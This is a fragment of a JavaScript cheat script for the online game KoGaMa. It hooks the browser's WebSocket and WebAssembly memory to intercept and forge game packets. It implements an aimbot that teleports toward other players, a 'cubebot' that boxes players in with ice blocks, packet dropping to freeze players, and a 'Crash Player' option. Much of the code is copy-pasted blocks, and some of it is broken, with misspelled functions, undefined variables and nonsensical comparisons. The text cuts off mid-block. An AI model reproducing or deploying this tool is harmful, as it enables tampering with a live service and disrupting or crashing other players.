    new Uint8Array(this.buffer).forEach((array)=>{
        array.forEach((byte, i)=>{
            if(byte == bytes[i]){
                result.push(byte)
            }
        })
    })
    return result.toString().replaceAll(",", " ")
}
WebAssembly.Memory.prototype._grow = WebAssembly.Memory.prototype.grow
WebAssembly.Memory.prototype.grow = function(){
    top.memory = new Uint8Array(this.buffer)
    this._grow(...arguments)
}
var surfno = false
var aimBot = false
var cubeBot = false
var cubeBot1 = false

let ws = WebSocket.prototype
ws._send = ws.send
ws.socket = null
ws.send = function(data) {
    if (!this._onmessage) {
        this._onmessage = this.onmessage
        this.onmessage = function(message) {
            _this = this
            let Data = new Uint8Array(message.data)
            if (CheatAPI.SERVER_BLOCKS.indexOf(Data[2]) != -1) {
                return;
            }
            let DecodedData = CheatAPI.FUNCTIONS.DECODE_TEXT([...Data])
            if (window.socks) {
                console.log(Data + "\n" + DecodedData)
            }
            if (Data[2] == 63) {
                window.kogamaload = true
            }

            if (Data[2] == 61) {
                let json = CheatAPI.FUNCTIONS.GET_JSON(DecodedData)
                CheatAPI.PLAYER.WOID = json[0].spawnRoleAvatarIds[0]
                for (var i = 0; i < json.length; i++) {
                    if (json[i].hasOwnProperty("UserName")) {
                        let player = {
                            USERNAME: json[i].UserName,
                            WOID: json[i + 2].activeSpawnRole
                        }
                        CheatAPI.PLAYERS.push(player)
                    }
                }
                let ints = CheatAPI.FUNCTIONS.GET_INTS(Data)
                //console.log(ints)
                let actorNumbers = []
                let firstActorNumber = 0
                ints.forEach((int, index)=>{//+3
                    if(index == 0){
                        actorNumbers.push(int)
                    }else{
                        if(actorNumbers.length <= CheatAPI.PLAYERS.length && int <= 999 && int >= 1 && actorNumbers.indexOf(int) == -1){
                            actorNumbers.push(int)
                        }
                    }
                })
                console.log(actorNumbers)
            }
            if (Data[2] == 16){
                let ints = CheatAPI.FUNCTIONS.GET_INTS([...Data])
                CheatAPI.FRIENDSHIP_INFOS = {
                    FriendshipID: ints[0],
                    ID: ints[1],
                    FriendID: ints[2]
                }
            }
            if (Data[2] == 255) {
                if (!window.first) {
                    CheatAPI.PLAYER.ACTORNR = CheatAPI.FUNCTIONS.GET_INTS(Data)[0]
                    window.first = true
                } else {
                    let json = CheatAPI.FUNCTIONS.GET_JSON(DecodedData)
                    let player = {
                        USERNAME: json[0].UserName,
                        WOID: 0
                    }
                    CheatAPI.PLAYERS.push(player)
                }
            }
            if (Data[2] == 104) {
                let json = CheatAPI.FUNCTIONS.GET_JSON(DecodedData)
                CheatAPI.PLAYERS[CheatAPI.PLAYERS.length - 1].WOID = json[0].SpawnRolesRuntimeData.spawnRoleAvatarIds[0]
                if(window.kogamaload){
                    let players = []
                    CheatAPI.PLAYERS.forEach((player)=>{
                        players.push(player.USERNAME)
                    })
                    window["Crash Player"].updateOptions(players)
                }
            }
            if (Data[2] == 71) {
                let json = CheatAPI.FUNCTIONS.GET_JSON(DecodedData)
                json.forEach((acessory)=>{
                    if(acessory.hasOwnProperty("url")){
                        let name = acessory.name
                        delete acessory.name
                        CheatAPI.ACESSORIES[name] = acessory
                    }
                })
            }
            if (Data[2] == 6) {
                let woid = CheatAPI.FUNCTIONS.GET_INTS(Data)[0]
                for (var i = 0; i < CheatAPI.PLAYERS.length; i++) {
                    if (CheatAPI.PLAYERS[i].WOID == woid) {
                        CheatAPI.PLAYERS.splice(i, i - 1)
                    }
                }
                if(window.kogamaload){
                    let players = []
                    CheatAPI.PLAYERS.forEach((player)=>{
                        players.push(player.USERNAME)
                    })
                    window["Crash Player"].updateOptions(players)
                }
            }

            if (Data[2] == 29 && CheatAPI.FUNCTIONS.GET_INTS(Data)[0] != CheatAPI.PLAYER.WOID && window.freezeplayers){
                return
            }
            if (Data[2] == 31 && window.aimbot && window.cubebot && cubebot1 && CheatAPI.FUNCTIONS.GET_INTS(Data)[0] == CheatAPI.PLAYER.WOID)
                return
             if (Data[2] == 32)
                return

            if (Data[2] == 2){
                if(window.freezeplayrs){
                    return
                }

                CheatAPI.PLAYERS.forEach((player, index)=>{
                    if(player.WOID == CheatAPI.FUNCTIONS.GET_INTS(Data)[0]){
                        let floats = CheatAPI.FUNCTIONS.GET_FLOATS([...Data])
                         if(window.aimbot && index == 1){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 2){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TOBYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 3){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 4){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                        if(window.aimbot && index == 5){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 6){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 7){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 8){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 9){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 10){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 11){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        } if(window.aimbot && index == 12){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 13){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 14){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 15){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 16){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 17){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 18){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 19){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == 20){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                        if(window.aimbot && index == Math.random()){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                         if(window.aimbot && index == [0,20]){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                        if(window.aimbot && index == function getRandomInt(max) {
                                return Math.floor(Math.random() * max);
                               }){
                            CheatAPI.SEND_SOCKET(243,4,31,0,8,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),74,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),75,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),76,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[2]),77,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),78,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[1]),79,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(floats[0]),254,105,0,0,0,0)
                        }
                        if(window.cubebot1 && index == 1){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 2){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 3){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 4){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 5){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 6){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 7){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 8){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 9){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 10){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 11){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 12){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-2,floats[1]+1, floats[2]-1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]-2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+1, floats[2]+2,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]-1,floats[1]+3, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
                        }
                        if(window.cubebot1 && index == 13){
            CheatAPI.CHEATS.PLACE_CUBE(floats[0]+2,floats[1]+1, floats[2]+1,CheatAPI.MATERIAL_IDS.Ice, "BOTH")
